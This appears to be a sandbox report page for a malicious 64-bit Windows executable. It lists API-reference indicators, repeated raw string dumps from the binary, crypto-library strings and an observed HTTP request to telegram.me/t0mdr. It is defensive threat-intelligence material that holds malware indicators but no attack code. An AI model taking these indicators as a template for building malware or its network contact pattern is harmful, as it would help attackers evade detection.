26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 48:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4fb,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_90% Sample d3edc0c8ca14… — Score 81/100 — Hybrid Analysis","description":"Malicious verdict for sample d3edc0c8ca14…. Malware family: Win/malicious_confidence_90%. Threat score 81/100. 2/27 AV engines flagged this file. 2 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296","keywords":["Malicious","Win/malicious_confidence_90%","malware analysis","sandbox report","threat intelligence","d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296"],"about":{"@type":"SoftwareApplication","name":"d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296","additionalType":"Malicious sample"},"threatScore":81,"malwareFamily":"Win/malicious_confidence_90%","antivirusDetections":{"malicious":2,"total":27},"behavioralIndicators":{"malicious":2,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T44b,Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin")28:T418,Found reference to "forHKDF" (Indicator: "HKDF"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") Found reference to "*hmac.HMAC" (Indicator: "HMAC"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") file/memory contains long string with (Indicator: "HMAC"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Sum" (Indicator: "HMAC"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Write" (Indicator: "HMAC"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).BlockSize" (Indicator: "HMAC"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Reset" (Indicator: "HMAC"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin")29:Taa0,"m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffershort buffer152587890625762939453125OpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmunknown sizezcymxjqvazpxglevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load6" (Indicator: "CertOpenStore"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") Found api reference "4 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=#failfipscast3814697265625GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeHMAC-SHA2-256GetProcAddressVirtualProtectfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertCloseStore"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") Found api reference "4 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=#failfipscast3814697265625GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeHMAC-SHA2-256GetProcAddressVirtualProtectfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CryptGenRandom"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") Found api reference "valid skip valueruntime: range = {index out of rangeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeupreflect.Value.Elemreflect.Value.Type298023223876953125GetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserial %.1f-%.1f %6d %sbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectreflect.Value.Floatreflect.Value.IsNilafter array elementstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB" (Indicator: "CryptReleaseContext"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedreflect.Value.Bytesreflect.Value.Fieldreflect.Value.Index14901161193847656257450580596923828125SetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersT+14:00.000 deep-seaT+57:30.000 all-fastLuminance histogram:invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsjson: error calling floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes" (Indicator: "CertOpenSystemStoreW"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedreflect.Value.Bytesreflect.Value.Fieldreflect.Value.Index14901161193847656257450580596923828125SetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersT+14:00.000 deep-seaT+57:30.000 all-fastLuminance histogram:invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsjson: error calling floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes" (Indicator: "CryptAcquireContextW"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") Found api reference "version: freeIndex is not valids.freeindex > s.nelemsbad sweepgen in refillspan has no free space/gc/scan/globals:bytes/gc/heap/frees:objectsruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=simulated CAST failureunexpected method step4656612873077392578125RtlLookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultexit hook invoked exitsha3: Write after ReadT+02:00.000 sea-passagedevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWunexpected map key typeindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage c" (Indicator: "CertGetCertificateChain"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStarttesting simulated failure2910383045673370361328125GODEBUG: can not enable "GetSidIdentifierAuthorityinconsistent poll.fdMutexExpandEnvironmentStringsWhash of unhashable type: T+04:00.000 full-sea-speedT+53:00.000 coast-approachinvalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHan" (Indicator: "CertFreeCertificateContext"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin"), Found api reference "dleencountered a cycle via %sinvalid argument to Int63ninvalid argument to Int31nall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory using unaddressable valueunknown ABI parameter kind1455191522836685180664062572759576141834259033203125RtlNtStatusToDosErrorNoTebT+00:00.000 departure-berthchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreafter object key:value pairPageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for reflect.Value.UnsafePointer is not assignable to type 363797880709171295166015625abi.NewName: tag too long: httpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContext!#$" (Indicator: "CertCreateCertificateContext"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin"), Found api reference "ng 'e')in literal null (expecting 'u')in literal null (expecting 'l')fmt: unknown base; can't happenslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangereflect: Len of non-array type 11368683772161602973937988281255684341886080801486968994140625crypto/aes: len(dst) < len(src)RAY TRACER - RANDOM SCENE RENDER %-4s %-20s %-7s %-9s %-12s %sresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertifica" (Indicator: "CertAddCertificateContextToStore"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin"), Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffershort buffer152587890625762939453125OpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmunknown sizezcymxjqvazpxglevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load" (Indicator: "CertOpenStore"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin"), Found api reference "valid skip valueruntime: range = {index out of rangeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeupreflect.Value.Elemreflect.Value.Type298023223876953125GetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserial %.1f-%.1f %6d %sbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectreflect.Value.Floatreflect.Value.IsNilafter array elementstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object Ki" (Indicator: "CryptReleaseContext"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedreflect.Value.Bytesreflect.Value.Fieldreflect.Value.Index14901161193847656257450580596923828125SetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersT+14:00.000 deep-seaT+57:30.000 all-fastLuminance histogram:invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsjson: error calling floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:byte" (Indicator: "CertOpenSystemStoreW"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedreflect.Value.Bytesreflect.Value.Fieldreflect.Value.Index14901161193847656257450580596923828125SetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersT+14:00.000 deep-seaT+57:30.000 all-fastLuminance histogram:invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsjson: error calling floating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:byte" (Indicator: "CryptAcquireContextW"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin"), Found api reference "version: freeIndex is not valids.freeindex > s.nelemsbad sweepgen in refillspan has no free space/gc/scan/globals:bytes/gc/heap/frees:objectsruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=simulated CAST failureunexpected method step4656612873077392578125RtlLookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultexit hook invoked exitsha3: Write after ReadT+02:00.000 sea-passagedevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWunexpected map key typeindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage" (Indicator: "CertGetCertificateChain"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin"), Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStarttesting simulated failure2910383045673370361328125GODEBUG: can not enable "GetSidIdentifierAuthorityinconsistent poll.fdMutexExpandEnvironmentStringsWhash of unhashable type: T+04:00.000 full-sea-speedT+53:00.000 coast-approachinvalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHa" (Indicator: "CertFreeCertificateContext"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for reflect.Value.UnsafePointer is not assignable to type 363797880709171295166015625abi.NewName: tag too long: httpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContext!#" (Indicator: "CertCreateCertificateContext"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin"), Found api reference "ng 'e')in literal null (expecting 'u')in literal null (expecting 'l')fmt: unknown base; can't happenslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangereflect: Len of non-array type 11368683772161602973937988281255684341886080801486968994140625crypto/aes: len(dst) < len(src)RAY TRACER - RANDOM SCENE RENDER %-4s %-20s %-7s %-9s %-12s %sresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertific" (Indicator: "CertAddCertificateContextToStore"; File: "d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin")2c:T115b,Observed string: "crypto/rand" (Indicator: "crypto/rand") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/impl" (Indicator: "crypto/internal/impl") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/fips140/aes" (Indicator: "crypto/internal/fips140/aes") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/fips140/drbg" (Indicator: "crypto/internal/fips140/drbg") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/fips140/sha3" (Indicator: "crypto/internal/fips140/sha3") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/fips140/hmac" (Indicator: "crypto/internal/fips140/hmac") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/fips140/sha256" (Indicator: "crypto/internal/fips140/sha256") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/fips140/sha512" (Indicator: "crypto/internal/fips140/sha512") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/rand.fatal" (Indicator: "crypto/rand.fatal") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/sysrand.fatal" (Indicator: "crypto/internal/sysrand.fatal") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/fips140deps/cpu.init" (Indicator: "crypto/internal/fips140deps/cpu.init") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/impl.Register" (Indicator: "crypto/internal/impl.Register") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "type:.eq.crypto/internal/impl.implementation" (Indicator: "type:.eq.crypto/internal/impl.implementation") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "type:.eq.crypto/internal/fips140/sha256.Digest" (Indicator: "type:.eq.crypto/internal/fips140/sha256.Digest") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "type:.eq.crypto/internal/fips140/sha3.Digest" (Indicator: "type:.eq.crypto/internal/fips140/sha3.Digest") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/sysrand.warnBlocked" (Indicator: "crypto/internal/sysrand.warnBlocked") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/sysrand.Read" (Indicator: "crypto/internal/sysrand.Read") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/sysrand.read" (Indicator: "crypto/internal/sysrand.read") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/sysrand.Read.deferwrap1" (Indicator: "crypto/internal/sysrand.Read.deferwrap1") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/entropy.Depleted" (Indicator: "crypto/internal/entropy.Depleted") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/fips140only.init" (Indicator: "crypto/internal/fips140only.init") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/internal/boring/sig.StandardCrypto" (Indicator: "crypto/internal/boring/sig.StandardCrypto") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/rand.init.0" (Indicator: "crypto/rand.init.0") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin Observed string: "crypto/rand.(*reader).Read" (Indicator: "crypto/rand.(*reader).Read") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin, Observed string: "crypto/internal/boring.Unreachable" (Indicator: "crypto/internal/boring.Unreachable") in Source: d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin2d:T181f,Contains base64 string in header "Keep" in header "GET /t0mdr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Host: telegram.me" Contains base64 string in header "Encoding" in header "GET /t0mdr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Host: telegram.me" Contains base64 string in header "gzip" in header "GET /t0mdr HTTP/1.1Cache-Control: 